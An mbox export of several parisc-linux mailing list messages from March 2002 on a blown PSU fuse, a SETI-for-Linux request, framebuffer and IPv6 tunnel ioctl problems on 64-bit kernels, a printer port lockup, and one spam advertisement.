To: christoph.plattner@gmx.at (Christoph Plattner)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  3 16:37:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id D56154846
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Mar 2002 16:37:00 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 16hflr-0005rF-00; Sun, 03 Mar 2002 23:52:03 +0000
In-Reply-To: <3C82B04B.ECA01FA8@gmx.at> from "Christoph Plattner" at Mar 04, 2002 12:22:51 AM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14216

> In some seldom cases, if we have luck, we simple need to exchange
> the fuse, and I wish Jbit much luck ....

Fuses often go with age so he may be lucky. You might also want to pull off
the disks and any add on cards then try with a new fuse, and work forwards
with a supply of them to hand.

ObElectronicsWarning: If you dig in the innards of a PSU please remember
that some capacitors can hold enough charge to kill you several weeks after
the system is unplugged. Also having reassembled it check that the earthing
is correct with a meter before you try it. 

Alan



From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Supply Problems
Date: Mon, 04 Mar 2002 01:34:15 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3C82CF17.7030801@yahoo.com>
References: <E16hflr-0005rF-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621119 4017 80.91.229.3 (22 Nov 2014 01:51:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:59 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  3 18:34:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com [216.136.173.57])
	by dsl2.external.hp.com (Postfix) with SMTP id B51FE4855
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Mar 2002 18:34:14 -0700 (MST)
Original-Received: from james?a?n?lee (AUTH plain) at m19-mp1-cvx1a.cam.ntl.com (HELO yahoo.com) (james?a?n?lee@62.253.144.19)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 4 Mar 2002 01:34:12 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14217

> In some seldom cases, if we have luck, we simple need to exchange
> the fuse, and I wish Jbit much luck ....


No such luck, the (new) fuse blew streight away ;(
The workstation in question has no HDD/FDD/cards to blow it.
It looks like one of the FETs has blown too, the question is, why?
Hopfully its a dodgey (old) power supply, NOT the mother board...
Will say when (and how) i fixed it, so anybody with similar problems can dig through the ml archives and fix it (fairly) easily

--jbit

`



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ariel M. Corgatelli" <arielmcorg@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Disculpe La Molestia
Date: Mon, 4 Mar 2002 02:52:05 -0300
Lines: 52
Approved: news@gmane.org
Message-ID: <OE64DJvceMiIhlwpTww000154bf@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C1C327.91E79A20"
X-Trace: ger.gmane.org 1416621120 4021 80.91.229.3 (22 Nov 2014 01:52:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:00 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar  3 22:48:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe64.pav2.hotmail.com [64.4.36.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FF264835
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Mar 2002 22:48:29 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sun, 3 Mar 2002 21:48:28 -0800
X-Originating-IP: [200.43.150.185]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-OriginalArrivalTime: 04 Mar 2002 05:48:28.0706 (UTC) FILETIME=[35905820:01C1C340]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14218

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C1C327.91E79A20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Soy Aregntino y no me se hablar ingles, me gustaria saber si se podria =
bajar el mismo programa de Seti pero para Linux.
Yo cuento con Red Hat 7.1 server funcionando en mi casa con una =
peque=F1a red y me gustaria ser parte pero trabajo con Linux la mayor =
parte de mi tiempo.
Lo instale en mi unica maquina Windows pero quisiera instalarlo en mi =
red Linux.
En formato RPM en lo posible.

Muchas Gracias Ariel Corgatelli

------=_NextPart_000_0005_01C1C327.91E79A20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Soy Aregntino y no me se hablar ingles, =
me gustaria=20
saber si se podria bajar el mismo programa de Seti pero para =
Linux.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Yo cuento con Red Hat 7.1 server =
funcionando en mi=20
casa con una peque=F1a red y me gustaria ser parte pero trabajo con =
Linux la mayor=20
parte de mi tiempo.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Lo instale en mi unica maquina Windows =
pero=20
quisiera instalarlo en mi red Linux.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>En formato RPM en lo =
posible.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Muchas Gracias Ariel=20
Corgatelli</FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C1C327.91E79A20--



From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux From Scratch
Date: Mon, 04 Mar 2002 17:33:05 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <3C83AFD1.1030002@yahoo.com>
References: <3C824EA9.4040805@yahoo.com> <20020304040903.38EB64853@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621120 4024 80.91.229.3 (22 Nov 2014 01:52:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:00 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  4 10:34:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp018.mail.yahoo.com (smtp018.mail.yahoo.com [216.136.174.115])
	by dsl2.external.hp.com (Postfix) with SMTP id EFE15482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Mar 2002 10:34:10 -0700 (MST)
Original-Received: from james?a?n?lee (AUTH plain) at m187-mp1-cvx1a.cam.ntl.com (HELO yahoo.com) (james?a?n?lee@62.253.144.187)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 4 Mar 2002 17:33:26 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.4) Gecko/20011126 Netscape6/6.2.1
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14219

>>I may be writing a hint for it, since it did get a bit messy ;)
> When the HOW-TO is done, post it to parisc-linux mailing list and I'll
> add it someplace to the parisc-linux.org website.


Thanks, I'll proberly write it sometime next week, since I have to sort out my server this week.
(and LFS-3.2 should be out next week)
but if anybody wants to try it sooner, I'd be happy to help them with any problems/querys (email me directly, I'll respond faster)

--jbit (james_a_n_lee@yahoo.com)



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christine Hall <return@trafficmagnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PARISC-LINUX.ORG
Date: Tue, 5 Mar 2002 4:24:17 +0800
Lines: 75
Approved: news@gmane.org
Message-ID: <200203051017.g25AHhe07805@ns5.trafficmagnet.net>
Reply-To: Christine Hall <christine@trafficmagnet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related; boundary="640b5125-0e79-45d2-895d-91c70481a73f"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621120 4026 80.91.229.3 (22 Nov 2014 01:52:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:00 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  4 13:20:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns5.trafficmagnet.net (unknown [202.108.221.169])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E6F44843
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Mar 2002 13:20:17 -0700 (MST)
Original-Received: from 29-Dispatcher ([211.101.236.29])
	by ns5.trafficmagnet.net (8.11.6/8.11.6) with SMTP id g25AHhe07805
	for <parisc-linux@lists.parisc-linux.org>; Tue, 5 Mar 2002 04:17:43 -0600
X-Mailer: CSMTPConnection v2.17
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14220

This is a multi-part message in MIME format
--640b5125-0e79-45d2-895d-91c70481a73f
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3D=
iso-8859-1">
<!-- 2.2 --> 
<title></title>
</head>
<body bgcolor=3D"#FFFFFF">
<table width=3D"600" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
  <tr>
    <td><font face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D=
"2">Hi<br>
      <br>
      I visited <a href=3D=
"http://www.trafficmagnet.net">PARISC-LINUX.ORG</a>, and 
      noticed that you're not listed on some search engines! I think we can =
offer 
      you a service which can help you increase traffic and the number of =
visitors 
      to your website.<br>
      <br>
      I would like to introduce you to <a href=3D=
"http://www.trafficmagnet.net">TrafficMagnet.net</a>. We offer a unique =
technology 
      that will submit your website to over 300,000 search engines and =
directories 
      every month.<br>
      <br>
      </font> 
      <table width=3D"398" border=3D"0" cellspacing=3D"0" cellpadding=3D"0" =
align=3D"center">
        <tr><td><a href=3D"http://www.trafficmagnet.net"><img src=3D=
"http://image10.trafficmagnet.net/image/logo.gif" width=3D"137" height=3D=
"136" border=3D"0"></a></td>
          <td><a href=3D"http://www.trafficmagnet.net"><img src=3D=
"http://image10.trafficmagnet.net/imagenew/SC173/003/171/gme.jpg" width=3D=
"197" height=3D"141" border=3D"1"></a></td>
          <td valign=3D"bottom"><a href=3D"http://www.trafficmagnet.net"><img =
src=3D"http://image10.trafficmagnet.net/image/signup.gif" width=3D"62" =
height=3D"136" border=3D"0"></a></td>
        </tr>
      </table>
      <font face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D"2"><br>
      You'll be surprised by the low cost, and by how effective this website =
promotion 
      method can be. <br>
      <br>
      To find out more about TrafficMagnet and the cost for submitting your =
website 
      to over 300,000 search engines and directories, visit <a href=3D=
"http://www.trafficmagnet.net">www.TrafficMagnet.net</a>. 
      <br>
      <br>
      I would love to hear from you. <br>
      <br><br>
      Best Regards,<br><br>
      Christine Hall <br>
      Sales and Marketing <br>
      E-mail: christine@trafficmagnet.net <br>
      <a href=3D=
"http://www.trafficmagnet.net">http://www.TrafficMagnet.net</a> 
      </font> </td>
  </tr>
</table>
</body>
</html>

--640b5125-0e79-45d2-895d-91c70481a73f--



From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fb_ioctl.diff
Date: Mon,  4 Mar 2002 23:48:44 -0700 (MST)
Lines: 15
Approved: news@gmane.org
Message-ID: <20020305064844.9BD04482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621120 4030 80.91.229.3 (22 Nov 2014 01:52:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar  4 23:48:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9BD04482B; Mon,  4 Mar 2002 23:48:44 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14221

Hi all,

See ftp.parisc-linux.org:patches/fb_ioctl.diff

I looked at the missing ioctls for 64-bit/FB and took a first whack at them.
I now get some garbage on my FB (c3k, vis-eg) with a 64-bit kernel
and the system locks up - have to unplug it. I suspect the wrapper isn't
doing address conversion properly since two pointers get passed back
to user space for one of them.  I'll look at the return values tomorrow
to see if I can figure anything out.

later,
grant



From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: IPv6 Sparc64
Date: Tue, 05 Mar 2002 04:36:04 -0800 (PST)
Lines: 15
Approved: news@gmane.org
Message-ID: <20020305.043604.08321823.davem__37117.0578095645$1416621121$gmane$org@redhat.com>
References: <Pine.NEB.4.33.0202041002120.2571-100000@www2.scram.de>
	<Pine.LNX.4.44-Blink.0202041155020.19625-100000@deepthought.blinkenlights.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621121 4031 80.91.229.3 (22 Nov 2014 01:52:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:01 +0000 (UTC)
Cc: jochen@scram.de, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org
To: sten@blinkenlights.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 05:38:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9700F4833
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 05:38:37 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id EAA02418;
	Tue, 5 Mar 2002 04:36:05 -0800
In-Reply-To: <Pine.LNX.4.44-Blink.0202041155020.19625-100000@deepthought.blinkenlights.nl>
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14222

   From: Sten <sten@blinkenlights.nl>
   Date: Mon, 4 Feb 2002 11:58:10 +0100 (CET)
   
   The reason I ask this is because I have been trying to setup a
   tunnel, and I cant get it to work either with ifconfig or iproute.
   
   [root@towel ip]# ip tunnel add blink mode sit remote x.x.x.x dev
   eth0
   ioctl: Invalid argument

The reason this fails is because SIOCADDTUNNEL uses SIOCDEVPRIVATE
which can't be translated properly to/from 32-bit apps running
on 64-bit kernels.



From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Printer Port & kernel stuff
Date: Tue, 05 Mar 2002 15:02:29 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <005101c1c480$ae437900$02c1a8c0@james.co.uk>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621121 4052 80.91.229.3 (22 Nov 2014 01:52:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 13:02:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B29F482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 13:02:34 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout02.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GSI007EXNO623@mtaout02.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Tue, 05 Mar 2002 15:02:30 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14223

Has nobody else had the same problem as me with the printer port ?

My 712/60 locks every time i send anything to the local printer.


while i'm at it - does anybody have a list of the options i should choose
when i'm doing a make config for the kernel so i can get the right network
stuff installed etc.

i need to recompile to include smbfs (which i think would be very handy if
compiled into the kernel as standard)


Thanks

James S








From - Thu Nov 08 21:21:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Printer Port & kernel stuff
Date: Tue, 5 Mar 2002 21:05:41 +0100
Lines: 785
Approved: news@gmane.org
Message-ID: <20020305200541.GC24010@charite.de>
References: <005101c1c480$ae437900$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="nFreZHaLTZJo0R7j"
X-Trace: ger.gmane.org 1416621121 4068 80.91.229.3 (22 Nov 2014 01:52:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James S <smithjames@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 13:05:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 648FC4836
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 13:05:43 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id EB61815C025; Tue,  5 Mar 2002 21:05:42 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id BF42015C00C; Tue,  5 Mar 2002 21:05:41 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 9721315C023; Tue,  5 Mar 2002 21:05:41 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 6DC24633A8; Tue,  5 Mar 2002 21:05:41 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <005101c1c480$ae437900$02c1a8c0@james.co.uk>
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020109
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14224

